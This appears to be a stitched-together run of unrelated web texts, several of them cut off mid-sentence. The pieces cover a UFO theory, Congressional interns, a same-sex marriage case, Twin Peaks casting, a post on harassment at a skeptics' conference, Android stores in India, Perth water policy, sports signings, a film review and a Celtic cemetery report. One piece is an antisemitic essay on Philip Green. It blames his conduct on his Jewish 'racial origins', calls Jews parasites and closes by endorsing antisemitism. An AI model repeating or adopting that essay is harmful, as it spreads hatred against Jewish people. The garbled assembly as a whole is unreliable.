This theory by late American author and blogger Mac Tonnies asserts that if we accept that UFOs are vehicles created by an advanced civilization and apply Occam’s razor, we can conclude that it is most likely the civilization originates from the Earth itself rather than a distant planet. Tonnies suggests that we share our planet with a humanoid race much older than humanity but related to us (explaining their physical form) and more technologically advanced. He dubbed these entities the “cryptoterrestrials,” rejecting “ultraterrestrial” as too linked to theories of humanoid visitors from other dimensions and “cryptohominid” as too suggestive of Bigfoot.
Tonnies suggests the entities may be a dying civilization given to subterfuge by hiding underwater or underground. These entities promote and encourage the idea that UFOs are of extraterrestrial origin as a cover story to throw investigators off from the truth. Reports from abductees of aliens warning humanity to care for the Earth make more sense if they are fellow Earth residents rather than visitors from thousands of light-years away. As for the Roswell crash, Tonnies has an interesting take on it. Perhaps the cryptoterrestrials aren’t terribly more advanced than us after all, explaining why the unusual wreckage found at Roswell didn’t look all that high-tech. It may have been something like a weather balloon after all, but rather a balloon sent up into the atmosphere for surveillance by the cryptoterrestrials beneath the Earth’s surface.
The US Air Force isn’t trying to cover up a threat from above, but the existence of another, slightly more advanced civilization below us. Tonnies admits that some alien encounters could very well be of extraterrestrial or interdimensional origin, but he believed the majority are the result of a deception campaign by a desperate, Earth-based military force of subterraneans hoping to keep our eyes fixed firmly on the skies.
David Tormsen also hails from the world of the imagination. Send him a line at [email protected].“DON’T talk to the press. Have a good attitude. Always say yes. You are not here to change the world.” And ladies, please, “Do not put us in a position to remind or suggest what qualifies as proper attire.”
These are among the instructions given to interns in the office of John Boehner, the Speaker of the United States House of Representatives, in an 80-page manual accidentally left at a Capitol Hill house-party last summer and then posted online. Interns in “Boehnerland”, as his offices are known, spend their time answering the phone, sorting through the post and giving tours of the Capitol (“Do not make something up.”). They are instructed to point out a photograph of Mr Boehner with his high-school friends, “illustrating [his] humility”.
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Boehnerland’s Washington offices are employing 24 unpaid interns this summer. The 534 other members of the House and Senate have many more—no one knows exactly how many, because Congress is exempt from freedom-of-information laws, but perhaps 6,000, with more in spring and autumn. Down the Mall, the White House has employed 429 unpaid interns in the past year. The Supreme Court has its own programme. In all, each summer between 20,000 and 40,000 interns work in Washington’s government departments, lobbyists, non-profit groups and firms.
The internship—a spell of CV-burnishing work experience—is now ubiquitous across America and beyond. This year young Americans will complete perhaps |
announced this morning in a statement released immediately after the ruling was handed down.
"Also, the Sixth Circuit Court of Appeals recently upheld traditional marriage," Wilson added, despite the fact that South Carolina sits in the 4th Circuit. "Therefore, we have opposing rulings between federal circuits, which means it is much more likely that the U.S. Supreme Court could resolve the matter at the national level. We believe this office has an obligation to defend state law as long as we have a viable path to do so."
Court watchers do not believe he has "a viable path to do so."
"Finally," Wilson continued, "our state's laws on marriage are not identical to those in other states. Therefore, based on the time-honored tradition of federalism, this Office believes South Carolina's unique laws should have their day in court at the highest appropriate level."
Despite the cost to taxpayers - not to mention the cost to families headed by same-sex parents.
The Charleston City Paper today reports that a Wilson spokesperson "has said that the South Carolina attorney general's office does not have a way of tracking the taxpayer money spent defending the marriage ban. He said today that the office has not hired any outside attorneys to help with the defense."
Image via Facebook
See a mistake? Email corrections to: [email protected]The full nature of Showtime’s Twin Peaks revival remains somewhat unclear, even after David Lynch returned to the project, but one certainty remains a wealth of characters and now-famous stars eyed to return. A new report suggest The X-Files ’ own David Duchovny will trade revivals for a Twin Peaks appearance as well, reprising his role as cross-dressing DEA agent Denise Bryson.
Keep this grain of salt away from your coffee for the moment, but with Duchovny currently in the limelight for NBC’s Aquarius miniseries and the 2016 X-Files revival, the actor has also fielded questions of a potential return to Twin Peaks, in which he played a DEA agent investigating Dale Cooper ( Kyle MacLachlan ).
According to MovieHole, Duchovny is indeed scheduled to film a Twin Peaks return later on this year, made possibly by the production’s relative proximity to The X-Files ‘ Vancouver shoot. For the moment at least, only MacLachlan has been officially confirmed to reprise his role from the previous series.
When last we heard, David Lynch and Twin Peaks co-creator Mark Frost had completed work on the scripts, with Lynch confirmed to direct all nine ( or 18? ) episodes of the revival series. Sheryl Lee, Dana Ashbrook and Sherilyn Fenn have all at least been approached to return, though Showtime has yet to make any official announcements.
The original Twin Peaks saw Agent Dale Cooper arriving in the titular town to investigate the murder of homecoming queen Laura Palmer, only to find the mystery ran far deeper than he could ever expect, with a touch of the supernatural. The new iteration will pick up 25 years after the Season 2 finale in 1991, which saw MacLachlan’s Agent Cooper in a Black Lodge limbo.
Showtime will likely get to work on more formal cast announcements now that Lynch has been confirmed to return, but who beside David Duchovny should pop up for the long-anticipated Twin Peaks revival?UPDATE: There is an update/ clarification/ correction on this post. It is summarized at the end of this post, and explained in fuller detail here.
I haven’t been getting as involved in the recent “sexual harassment at atheist/ skeptical conferences” discussions as I would like to. This is my last week at my day job, and my time has been both much more limited and much more frazzling even than usual. Thus far, all I’ve said on the topic has been (a) this post, on what is and is not an appropriate community response to widespread second-hand reports about harassment; and (b) this post, on the sexual harassment policy/ code of conduct adopted by a recent polyamory conference, as an example of how an anti-harassment policy can be consistent with a sex-positive environment.
But I just saw this — and limited time or not, I had to speak.
Two women approach me and another conferee. They are pale and trembling. A man with a camera on the end of a telescoping monopod has been attempting to surreptitiously take photos up their skirts. Yes, he was attending TAM. They had taken concerns to conference organizers and got little satisfaction. Hotel security confiscated the camera. I later learned the individual was well-known and had been complained about in previous years, and yet there he was again.
And then this comment on the post from which the above is excerpted:
Though I was less traumatized and more seriously angry I am one of the people to report the upskirt photo thing along with multiple other incidents by the same person the last day at tam last year. We spoke to dj about it during the event, he said we would hear back on what was going to be done and never did. We followed up on it for a number of months and nothing happened so we gave up. Its part of what has very much frustrated me about tam and other such events is that even when we reported harassment we only got lip service on something actually being done. I know dj is busy and I don’t expect him to be the one to take care of things but I do expect there to be some response from the jref more than vacuous head patting.
And then this, from this latter commenter on the same post, in response to a question about whether she reported this incident in TAM’s anonymous post-event survey:
I reported it publicly to the JREF. In paper and in person to the head of security and even spoke to DJ at the event. The other person who I reported the multiple situations that occured with and I have both been trying since last TAM to find out what was going to happen with it and haven’t heard anything back. It’s been nearly a year now and they haven’t responded to us in over 6 months that I know of.
(Via Almost Diamonds.)
There is so much I could say. After I scream and curse and throw things at the wall, that is. There is so much I could say, so much I want to say. But my time and energy are limited… so for now, I’m just going to say two things.
First: In the conversations about sexual harassment at atheist/ skeptical conferences, I have noticed a tremendous amount of goalpost-moving when it comes to the question of reporting. “If you wanted something done about this harassment, why didn’t you tell anyone?” “Actually — I told someone on the JREF staff.” “Well, why didn’t you tell D.J. Grothe about it?” “Actually — I did tell D.J. about it.” “Well, why didn’t you report it in writing?” “Actually — I did report it in writing.” “Well, why didn’t you tell hotel security?” “Actually — I did tell hotel security.” “Well, why didn’t you send a written report in triplicate, to the police, to hotel security, and to D.J. Grothe, using registered mail so there could be a documented paper trail?”
Okay, that last one was sarcastic. I wish I could say the rest of it was.
As Ashley F. Miller pointed out in her excellent piece, Aren’t you making it up? – Why women don’t report harassment: When a woman is harassed and speaks out about it… even when she does everything “right”? Even when she has witnesses who are willing to make public statements; even when a complaint about the harassment gets made when the incident is happening and not later; even when the complaint isn’t being made about a well-known speaker; even when the target of the harassment is a known and respected member of the community with a platform from which to speak? She will still (a) be blamed for not reporting in the exact proper channels, and (b) get called a liar. In fact, the fact that she didn’t report through the exact proper channels (or rather, her critic’s idea of the exact proper channels) will be used to impugn her credibility. “Well, if this really happened, why didn’t you tell anyone?” Repeat goalpost-moving script above.
Second, and much more importantly:
D.J. Grothe, president of JREF and organizer of TAM, was told about these incidents.
D.J. Grothe was told that a male attendee of TAM had been using a camera on the end of a telescoping monopod to surreptitiously take photos up women’s skirts.
And he nevertheless made this statement:
It should be said that there has never been a report filed of sexual harassment at TAM to my knowledge and there have been zero reports of harassment at the TAMs we’ve put on while I’ve been at JREF.
Holy. Fucking. Shit.
I can only think of four possible explanations for this. All of which are entirely unacceptable.
1: Grothe was told that a male attendee of TAM had been using a camera on the end of a telescoping monopod to surreptitiously take photos up women’s skirts (UPDATE: Grothe was told that a male attendee of TAM was persistently harassing women even after having been asked to leave them alone multiple times, and was strongly and reasonably suspected of using a camera on the end of a telescoping monopod to surreptitiously take photos up women’s skirts) — but thinks this incident wasn’t “reported,” because he is defining “report” in the extremely narrow, weaselly, goalpost-moving way described above.
2: Grothe was told that a male attendee of TAM had been using a camera on the end of a telescoping monopod to surreptitiously take photos up women’s skirts (UPDATE: Grothe was told that a male attendee of TAM was persistently harassing women even after having been asked to leave them alone multiple times, and was strongly and reasonably suspected of using a camera on the end of a telescoping monopod to surreptitiously take photos up women’s skirts) — but he didn’t think this qualified as sexual harassment.
3: Grothe was told that a male attendee of TAM had been using a camera on the end of a telescoping monopod to surreptitiously take photos up women’s skirts (UPDATE: Grothe was told that a male attendee of TAM was persistently harassing women even after having been asked to leave them alone multiple times, and was strongly and reasonably suspected of using a camera on the end of a telescoping monopod to surreptitiously take photos up women’s skirts) — and lied about having been told this.
4: Grothe was told that a male attendee of TAM had been using a camera on the end of a telescoping monopod to surreptitiously take photos up women’s skirts (UPDATE: Grothe was told that a male attendee of TAM was persistently harassing women even after having been asked to leave them alone multiple times, and was strongly and reasonably suspected of using a camera on the end of a telescoping monopod to surreptitiously take photos up women’s skirts) — but he didn’t remember it.
I don’t know what to even begin saying about this.
Maybe some of you can say it for me?
Or maybe you feel that you should say it to JREF?
UPDATE: There is an update/ clarification/ correction on this post. It is explained in fuller detail here. Summary: The report made to JREF was not, “a male attendee of TAM had been using a camera on the end of a telescoping monopod to surreptitiously take photos up women’s skirts.” The report made was, “a male attendee of TAM was persistently harassing women even after having been asked to leave them alone multiple times, and was strongly and reasonably suspected of using a camera on the end of a telescoping monopod to surreptitiously take photos up women’s skirts.”
The original Facebook post and comment on this matter led me to believe that it was the former, but it was not — it was the latter.
None of this alters the point of this post. Which is that:
a: in the conversations about sexual harassment, there is a tremendous amount of goalpost-moving when it comes to the question of reporting — such that, no matter how formally or through what official channels the reports are made, it is never seen as good enough;
b (and more relevantly): D.J. Grothe’s claim that there had never, to his knowledge, been a report filed of sexual harassment at TAM, and that there have been zero reports of harassment at the TAMs they’ve put on while he’s been at JREF, is clearly false.
The point of my post is not altered. But the truth matters to me, and it’s important to me to have the facts straight — especially in matters as important and controversial as this one. So I’m posting this update/ clarification/ correction, and have corrected the post accordingly. Please make note of it in future discussions of this topic. Thank you.
SECOND UPDATE: Comments on this post have been largely derailed away from the original points. Anyone wishing to discuss the actual points made in this post may do so in this new dedicated thread: “Holy. Fucking. Shit.”: An Attempt to Discuss the Actual Issue. Any attempts to derail the conversation in that new thread will result in being banned. Thank you.In a push to spread its mobile operating system throughout Asia, Google will open a set of brick-and-mortar Android Nation stores in India in collaboration with Indian electronics retailer Spice Global.
According to the Economic Times, the stores will sell Android smartphones and tablets manufactured by brands including Samsung, Sony, HTC, LG, ASUS, and others.
The stores will also feature in-house experts that educate customers about various Android devices, apps, and accessories.
India’s first Android Nation store will be located in New Delhi, but according to representatives from Spice Global, the two companies have plans to ultimately convert over 50 Spice retail outlets into Android Nation stores. Moreover, India will only be the first destination, as both firms also intend to bring Android Nation to the Middle East, Thailand, Malaysia, and Africa.
India is only the second country that can call itself home to Android Nation. In March 2012 Google opened up the world’s first Android Nation store in Jakarta, Indonesia, and built a second one eight months later in the same city.
This past year has seen Google steadily expand its latest offerings to India. In February the company brought books to Google Play to India, and one month later added movies and music.
Smartphone penetration remains comparatively low in India: for 2012, the country saw shipments of only 15.2 million shipments, compared to 206.4 million shipments of featurephones.
As for brand dominance of smartphones India, Samsung ranked number one with 43.1 percent of shipments, followed by Nokia with 13.3 percent. Google is hoping to take advantage of this early stage of India’s smart device adoption with aggressive marketing.
Read next: India's new surveillance program tracks phone calls and texts, Facebook, Twitter and LinkedIn postsPart 1
Philip Green possesses an appearance so darkly befitting a caricature that one might see it, like the stripes of a wasp, as a warning from Nature itself. But even had this son of the Talmud emerged from the womb looking like a Swedish prince his life trajectory would have still borne the stamp of his racial origins. Green was born on 1952 in Croydon, in south London, the son of a retailer and property speculator. At the age of nine he was sent to the Jewish boarding school Carmel College in Oxfordshire, the most expensive school in all of England until it closed in 1995. As his biographer Stewart Lansley points out, Green is no ‘self-made” man. Few Jews ever are — the entire concept of the ‘self-made man” is rooted in individualistic rather than close-knit societies. When his father died, Green inherited the family business at the age of twelve and had access to a substantial estate. More importantly, Green was born into a close-knit community of Jewish businessmen and speculators, all of whom had access to credit networks and financial knowledge beyond the means of non-Jews. Assured of the support of these networks, Green left Carmel College at 15 to work for a co-ethnic shoe importer. By his late teens he was travelling to the US, Europe and the Far East. On his return, at age 21, he set up his first business with a £20,000 loan backed by more communally pooled funds, importing jeans from the Far East to sell on to London retailers.
Aside from pooling funds as a group for initial capital, the Jewish ‘talent” for business is rooted in a gambler’s addictive personality and a heavy interest in speculation and exploitation. Speculation involves a high level of risk, but such risk-taking is cushioned by being enmeshed in a communal mutual aid and cooperation network, so that failure may only be a temporary setback — yet another example of the power of collectivist strategies.
Confirming my contention, I could point out that almost every historical statistical enquiry into bankruptcy statistics has found Jews to be significantly over-represented in both fraudulent and genuine bankruptcies (almost ten times the rate of non-Jews).[1] Jewish economic “genius” can thus be more accurately described as a rash drive to accumulate wealth, as well as an acute willingness to take advantage of the weak, especially those who have succumbed to debt. In 1979, Green exhibited his first stroke of such “genius” when he used his pool of funds to buy up the entire stock of ten designer label clothes sellers who had gone into receivership for extremely low prices. The stock was old and far from ideal, but he had the clothes sent to the dry cleaners, wrapped them in polythene to make them look new, and then bought a place to sell them to the public.
He soon became a commercial predator. As Britain was hit hard by recession in the early 1980’s Green went on the prowl for new shops to lay the foundations of an embryonic clothing discount chain. He used the gray or unofficial markets to import high-end garments cheaply, ignored existing trade agreements between boutiques and designers, and sold them off in tacky bargain stores with names like “Bond Street Bandit.” With the profits, he sought out more despairing retailers to prey upon. Once he occupied their premises, he would use them to sell something relatively new to the British market — cheap, Chinese-made jeans. Lansley describes Green as a “prophet of globalization,” a description that I am apt to agree with. Swimming in the profits from Chinese jeans, Green soon expanded again, this time using cheap Israeli loans.
Before long, Green and his backers had taken over almost every major British clothing retailer, forming the Arcadia Group as an umbrella organization to oversee the new empire. He was by now a billionaire. Green found himself the darling of the agents of globalism and a string of politicians and celebrities mesmerized by the trappings of wealth. Possessing little in the way of subtlety, Green became well-known for his extravagant parties, where guests included supermodels and Oscar winners, and the entertainment was live performances by the likes of Stevie Wonder and Rod Stewart, among others. For his son’s Bar Mitzvah in 2005, Green spent over $5 million on a French Riviera party featuring performances by Andrea Bocelli and Destiny’s Child. Extravagant, of course, but money was plentiful because Green and his associates had found a way to escape paying around £300 million in taxes.
In an excellent article in The Guardian, journalist Michael White writes that British Prime Ministers Tony Blair and David Cameron were “in thrall to Green,” a man he describes as a “tax-dodging, undeserving parasite” and whose taste in material goods is “embarrassingly vulgar.” According to White, Blair was a “credulous sucker for a rich man with tax-shy habits,” giving Green a knighthood in 2006.
The advent of Sir Philip Green was a mockery indeed given that the concept of the “knighthood” originated in the Middle Ages, when it was conferred upon a man for service to his country, normally in a military capacity. By the Late Middle Ages, the rank had become associated with the ideals of chivalry, a code of conduct for the perfect courtly Christian warrior. Contrast this with our greasy merchant, who was by 2006 well-known for a tax-avoidance dividend scheme that enabled him to profit from foreign-made goods being sold in Britain, without paying any tax into the British system. Green, however, fits the pattern of other figures we have examined in that he facilitates the transfer of wealth from non-Jewish economies to Jewish micro-economies. To cite just one example, there is his £5 million donation to Jewish Care.[2]
But Green now finds national attention on him for even worse reasons. In 2000 Green acquired British Home Stores (BHS) at a time when it enjoyed a £5 million surplus. During the next sixteen years, according to Michael White, Green “milked BHS until it was on its knees.” Employing a number of complex and deeply immoral practices, this vampire withdrew over £580 million from the company, plundering every one of its assets including its worker’s pension funds. Once the company was on the brink of collapse, Green sold it for £1 to Retail Acquisitions, a hastily put-together company led by former bankrupt and fellow Jew Dominic Chappell and Jewish lawyer Mark Tasker. When BHS finally went under, more than thirty thousand people were left with an empty pension fund while Green continued to live a life of luxury in off-shore tax havens. This from a man who received a knighthood for “services to retail.”
While Britain reels in shock from these developments, I am far from surprised. I am sure that the readers of TOO will join me in a feeling of “I told you so,” though one of exasperation rather than satisfaction. We are only too familiar with these patterns of parasitic plunder. But what final conclusions can we draw? In the 1890s the German Social Democrats originated the phrase “Anti-Semitism is the socialism of fools.” The term has always amused me because socialism professes to be against the worst excesses of capitalism and yet refuses to act against that race which is quite evidently behind an inordinate percentage of these excesses. We might thus conclude, paraphrasing the Social Democratic simpletons of a century and more ago, that ‘socialism without antisemitism is the work of fools.” And may Mr Philip Green yet meet his reckoning.
[1] A.E. Steinweis, Studying the Jew: Scholarly anti-Semitism in Nazi Germany, (Harvard University Press, 2006), p.139.
[2] L. Barclay, The Unauthorized Guide to Doing Business the Philip Green Way, (Capstone, 2010), p.134-5.RIP up your lawn, says WA’s Water Minister Dave Kelly, who has declared war on backyard grass.
Mr Kelly is urging West Australians to rethink a sprawling grass yard “from your back step to your back fence”, labelling it a greedy guzzler that has no place in parched WA.
But the turf industry hit back, saying calls to rip up lawns would make Perth brown and ugly.
As hot weather arrived in WA this week, with warnings to save every drop of water, Mr Kelly told The Sunday Times a small section of lawn was OK for suburban homes but anything more was not sensible.
“We still spend 40 per cent of domestic water use in the garden. The days of thinking you need a football field-sized green lawn, that’s not appropriate these days. The days of thinking a backyard should just be lawn are over,” he said.
“One of the problems we’ve got is people think we’ve got a couple of desalination plants, we don’t have a problem. That’s far from the truth. We’re one of the places on the planet most impacted by climate change.”
Perth households are some of the highest water users in Australia, guzzling an average 223,000 litres last year, according to Water Corporation data.
Desalination is now Perth’s biggest and most expensive source of water, while 40 per cent of the supply comes from groundwater and just 10 per cent from dams.
Mr Kelly said being water wise did not mean living in a hot, concrete jungle but said suburban lawns should be only a small section of the overall garden, combined with shade trees and water wise garden beds.
Camera Icon WA's Water Minister Dave Kelly wants you to rip up your lawns. Picture: PerthNow
“We have to be sensible about it. You can still have an area of lawn in your backyard to enjoy and have the kids play on. My property from the back step to the back fence was lawn and nothing else,” he said.
“It was exposed to the sun and … wasn’t a nice place to be. We reduced the amount of lawn, planted some trees, put in some shade and now it’s much nicer to spend time in and uses a lot less water to maintain.”
But Turf Australia WA executive officer Eva Ricci said calls to rip up lawns were “astounding”, while grassed verges were often essential for car parking.
“Water Corp has done a wonderful job in killing off pride in gardens. People are so phobic about wasting water. People need to get back outside and start to feel nature again,” she said.
Ms Ricci said if authorities were serious about saving water they would introduce more shoulder season sprinkler bans.
Mr Kelly called on residents to dob in a neighbour if they saw Perth’s two-days-a-week sprinkler roster being flouted.
Water Corporation’s top tips for smart gardening:
1. Mix in soil improver and a wetting agent to boost sandy soils.
2. Mulch to reduce evaporation, weed growth, wind erosion and stress on plant roots.
3. Consider planting more climate tolerant plants.
4. ‘Hydrozone’, or group plants together with similar watering needs.In an interview with NBC's Andrea Mitchell on Tuesday, Democratic presidential front-runner Hillary Clinton was asked to respond to Donald Trump saying if she were a man she'd only have 5% of the support she currently has. Clinton called such attacks "familiar to a lot of women" and said "we will claim what is rightfully ours."
"Donald Trump is out saying if you were a man, you would only have 5% of the support that you have, that you only have the support because you are a woman. Think about that," Mitchell posed to Clinton.
"He should take a look at the numbers," Clinton advised Trump. "I am leading him by millions of votes. If we are talking about the contest between him and me before we get to the general election, I feel pretty good about it."
"What he was saying and going after my qualifications is very familiar to a lot of women," Clinton observed. "You know we are not going to be counted out anymore. We're going to stand up and express our opinions. We're going to claim what is rightfully ours in the workplace, in our society, in our economy, in our political system."
"I have been thrilled by the response to his negative comments," Clinton said on Tuesday's edition of MSNBC's Andrea Mitchell Reports. "Most women see it not just as about me; they see it about themselves. They see it about their own situations. And there's been an outpouring of support."
"I am not going to be responding to his every insult and attack. That is just not what I think this election will eventually come down to," Clinton said about having her qualifications questioned by Trump.CHICAGO -- The Chicago Bears added to their backfield and defensive line, agreeing to a two-year contract with running back Marion Barber and a one-year deal with nose tackle Amobi Okoye on Saturday.
The also re-signed cornerback and special teams contributor Corey Graham to a one-year deal.
Barber spent the last six seasons with the Dallas Cowboys, running for 4,358 yards and 47 touchdowns -- sixth in the NFL during that span. He added 1,280 yards receiving.
He was officially released by the Cowboys this week along with former Pro Bowl receiver Roy Williams, who joined the Bears on Friday.
Okoye wasn't out of work for long, either, after being cut by Houston on Saturday.
The youngest first-round draft pick in NFL history when he was taken 10th overall in 2007 at age 19, he had a career-high 44 tackles in 2010, including three sacks. But the Texans' defense ranked among the league's worst in most categories. Houston used six of its eight draft picks on defensive players, and new defensive coordinator Wade Phillips plans to use Shaun Cody and Earl Mitchell at nose tackle, leaving Okoye out of the mix.
In four seasons with Houston, he had 138 tackles, 11 sacks, two forced fumbles and two fumble recoveries.
Graham has appeared in 61 games over four seasons with the Bears and has 111 tackles, one interception and nine pass breakups. His 82 special teams stops rank second to Adrian Peterson's 110 on the club's list since the statistic was first recorded in 1995.
Graham led Chicago with 25 special teams tackles last season.
The Bears also waived guard Herman Johnson on Saturday.In 2006, the top-grossing film at the box office was Pirates of the Caribbean: Dead Man’s Chest, which played at 4,133 theaters across the United States during its five-month run and earned $423 million. The lowest-grossing film at the box office that year was Zyzzyx Road (pronounced zizz-iks), which played at a single theater in Dallas for one week and earned $30, or.000000071 percent of Pirates’ take. (Actually, it only took home $20 after actor and co-producer Leo Grillo refunded the tickets purchased by Zyzzyx Road’s makeup artist and one of her friends.) To date, Zyzzyx Road is the lowest-grossing film to ever appear on an American movie screen. And until Tuesday, it wasn’t available on DVD in the United States.
In 2007, Entertainment Weekly’s Rob Brunner wrote the definitive story about the circumstances surrounding Zyzzyx Road’s unlikely notoriety. Brunner points out that, while the movie did set a new low for recorded theatrical earnings, that record, much like Michael Strahan’s single-season sack mark (nice one, Favre!), is highly dubious. In late February 2006, Grillo rented the Highland Park Village theater in Dallas for $1,000 because, as long as he gave his low-budget film a brief theatrical run, he could pay his actors less. Without any premiere hoopla or advertising of any kind, Zyzzyx Road showed at the Highland Park Village once a day, at noon, for seven days. It’s no wonder that only six people saw it.
But because one of the stars of Zyzzyx Road was a 28-year-old blonde named Katherine Heigl, who had just begun work on a television show called Grey’s Anatomy, Zyzzyx Road didn’t sink into oblivion like most low-budget fare. For a while, Grillo and producer/director John Penney thought they would cash in on Heigl’s rising fame and make some of their $1.25 million investment back. While Brunner’s article claims that a domestic DVD release was “a near certainty,” it took six years for American viewers to catch up with all those lucky so-and-sos living in Portugal, Indonesia, and other countries where the film’s foreign rights were sold.
On Tuesday I looked all over the place for a hard copy of the Zyzzyx Road DVD because I wanted to read the back of the DVD case (and also to confirm that Heigl’s name was misspelled on the front cover). No dice; I had to watch it on streaming video. Still, I had some reasons for optimism. First, there’s not always a link between a film’s popularity and its quality. Although plenty of atrocious movies earn dump trucks full of money, plenty of great movies don’t make much money at all. Take the two best films by writer-director Mike Judge: Office Space was a notoriously low-performing theatrical hit in 1999, and Idiocracy was practically locked out of theaters in 2006, but those are now recognized as two of the best American comedies of the last 20 years.
Second, from what I could tell, Zyzzyx Road is a psychological thriller that was supposed to head straight to video/DVD. And for certain dudes of a certain age, “Direct to video/DVD ‘thriller’” is code for something a little kinkier. Or, as James Naremore put it in his excellent 1998 book More Than Night: Film Noir in Its Contexts, “the typical erotic thriller also functions a bit like Playboy magazine, providing luxurious backgrounds and masturbatory fantasies for lonely men with VCRs.”
That description is still true today; most direct-to-video thrillers implicitly guarantee a passport to Tittysburg. And although Katherine Heigl has taken a lot of roles that seem to typecast her as America’s Uptight Sweetheart, a lot of those parts feature one form of “hilarious” sexual humiliation or another, whether it’s being pleasured via remote control by an unsuspecting kid during an important dinner with Leonidas and Art Mullen in The Ugly Truth, getting handcuffed to a shower-curtain rod in One for the Money, or enduring any number of unspeakable horrors once Seth Rogen mistakenly raw-dogs her in the beginning of Knocked Up. But even though Heigl first appears onscreen in Zyzzyx Road sucking a cinnamon-flavored ring pop, this movie isn’t the place to track down one of those poorly lit, poorly scored nude scenes that crouch in the back closets of many actresses’ careers.
So sorry, guys; there’s no nudity in Zyzzyx Road. But there are scores of SPOILERS in the recap ahead.
Zyzzyx Road’s opening credits show glimpses of a freeway, a roulette wheel, a shovel, some fake IDs, and (perhaps in a nod to the most profitable low-budget film of all time) a teddy bear face-down on a couch like it’s about to be punished by the Blair Witch. The first words in the film come from Grant (Grillo), a middle-aged businessman who’s droning on in nice, detached film noir-y fashion about 401(k) plans and the difficulties of planning for your future. We soon learn that his real audience is his “teenage” (?) passenger, Marisa (Heigl). After speculating about Britney Spears’s relationship with Justin Timberlake, Marisa reminisces about her first crush (“I couldn’t walk for, like, two weeks, I played with myself so much”) and then brats it up as only a 28-year-old pretending to be a 17-year-old can.
Grant and Marisa are driving into the darkness of the California desert, where they have a bloody payload to bury: Marisa’s ex-something-or-other Joey (Tom Sizemore), who’s been wrapped in a blanket and thrown into the trunk after Grant knocked him unconscious with one of Marisa’s vibrators.
Once Joey — who, remember, was recently brained by a sex toy as big as a crowbar — revives and escapes from the trunk, he spends the rest of the night menacing Marisa and Grant. The next morning, Grant finds Joey, who lures him into an abandoned mine shaft and tries to convince Grant that Marisa is not who she appears to be (“That thing out there? The one that’s calling itself Marisa? I gotta tell you this — it’s not human”) At this point in Zzyzyx Road, I started to hope against hope that Katherine Heigl’s last screen role before she struck it rich was that of a shape-shifting jail-bait skank from outer space that must be killed with a 20th-level Soulknife.
Alas. The second half of Zyzzyx Road plays like a cautionary tale about the dangers of brain trauma and the perils of stepping out on your wife and family. (SPOILERS!!!!) See, Joey wasn’t the only one to suffer a head injury earlier that day. Grant got quite a bump on his noggin as well, and it’s caused him to hear voices and conjure up the image of Joey, whom he actually dumped in a motel closet before hitting the road. Marisa looks like a 25-year-old teenager because that’s what he thinks she is in his jarred head; she’s actually a classier gal (maybe a moderate- to high-priced escort?) who fell in with a cheatin’ husband and is now running for her life as he debates with the air about how to kill her. Even a friendly meth-maker can’t stop Grant’s staggering rampage. Thankfully for Marisa, a passing truck eventually does.
As schlubby Grant, Grillo is a decent, understated performer, reminiscent at times of Joel Murray, star of this year’s truly loony God Bless America. He certainly holds his own in scenes with Sizemore and Heigl. But there’s a reason why Grillo is more famous as an animal-rights activist than he is as an actor. His real-life humanitarian deeds probably explain the scene in which Grant confronts a menacing pit bull and then shows that it’s a fine dog once you just calm the fuck down and act nicely toward it.
First-time director Penney mixes up an awful lot of filtered footage, some flashbacks, double-backs, and leaps in logic for a movie that’s only 76 minutes long. He really pulled out all the stops here. There are better movies out there, and there are much, much worse ones; Zyzzyx Road does not deserve to be mentioned alongside an act of cinema treason like That’s My Boy. As a B-movie, it earns a B- or so. (Then again, my finely honed ability to grade sophomoric work is a bit rusty.) In any case, the film’s secret is out; its mystery has vanished. How long before it fades back into the strangely lit night?
In 26 days, Addison Engelking returns to his other job as a high school English teacher in Roseville (Minnesota). Not that he’s counting or anything.WIKIMEDIA, USDARecently, I was the lead author on a paper demonstrating that about 40 years and many millions of dollars of US nutritional surveillance data were fatally flawed. In most research domains, such a finding might be monumental; yet in nutrition epidemiology—the study of the impact of diet on health, hereafter referred to simply as “nutrition”—these results are commonplace. In fact, there is a large body of evidence demonstrating that the systematic misreporting of energy and macronutrient intake renders the results and conclusions of the vast majority of federally funded nutrition studies invalid.
So what is going on? Is such research mere pseudoscience? And if so, how can the federal government continue to spend billions |
iron knife, and shield bosses.
The toiletry items in the burials consist of scissors and razors, while the costume is represented by iron fibulae of Middle La Tène type. A female burial contained costume and jewellery items, while ceramic vessels and animal bones were found as goods in graves of both sexes. Based on the weapons and costume items, the latest burials have been dated to the Mokronog IIb/La Tène C2 phase.
The pot from grave LT 96 is decorated with stamped concentric circles, connected with garlands executed by a series of tiny impressions.
Updates:
Further rescue excavations at the Zvonimirovo-Veliko polje site in 2014 uncovered 6 more La Têne cremation burials (LT 102- 107). Apart from warrior burials, most interesting was a double female burial (LT 103).
Kantharos discovered in a Celtic burial (LT 104) during the 2014 excavations at Zvonimirovo (3rd c. BC)
(After Dizdar 2015)
Excavations during the 2015 season revealed 6 further Celtic cremation burials (LT 108 – LT 113). Noteworthy were the deep, larger pits of female graves LT 109 and LT 110; in the LT 110 grave, a bowl was placed on the bottom of the pit, with the burnt remains of the deceased placed on top of it with a bronze fibula and probably a burnt bracelet.
Detail of burial LT 110 with the burnt remains of the deceased laid above the pot
Next to a warior burial (LT 112), which included weapons and toiletries, graves were found which, based on the clothing and jewellery features, belonged to female burials. Grave goods consisted of ceramic vessels (pots and bowls), and the burials dated to the LT C2, i.e. Mokronog IIb phase.
Warrior burial LT 112 at Zvonimirovo
(after Dizdar 2016)
A further recently discovered phenomenon at the complex was identified in female burial LT29, where a wooden burial chamber was constructed. Wooden “coffins” like that from the Zvonimirovo cemetery have recently been documented at many eastern Celtic burial complexes, notably in Hungary and Slovakia.
Zvonimirovo-Veliko polje: Reconstruction of female grave LT 29 with wooden burial chamber (3/2 c. BC)
After Dizdar M.(2016) Late Iron Age Funerary Practice in Southern Pannonia. In:Proceedings of the 14th International Colloquium of Funerary Archaeology in Čačak, Serbia 24th – 27th September 2015. Beograd – Čačak, 2016. pp. 293-312
For a full report on the 2012 excavations (in Croatian) see:
https://www.academia.edu/5747104/Rezultati_zastitnih_istrazivanja_groblja_latenske_kulture_Zvonimirovo_-_Veliko_polje_u_2012._godini_The_Results_of_the_2012_Rescue_Excavations_of_the_La_Tene_Culture_Cemetery_in_Zvonimirovo_-_Veliko_polje
2014 Report:
https://www.academia.edu/19608223/Research_results_from_the_La_T%C3%A8ne_cemetery_at_Zvonimirovo-Veliko_polje_in_2014
Report on the 2015 Campaign:
https://www.academia.edu/29047308/Research_results_of_the_La_T%C3%A8ne_culture_cemetery_at_Zvonimirovo_Veliko_polje_in_2015
Mac Congail
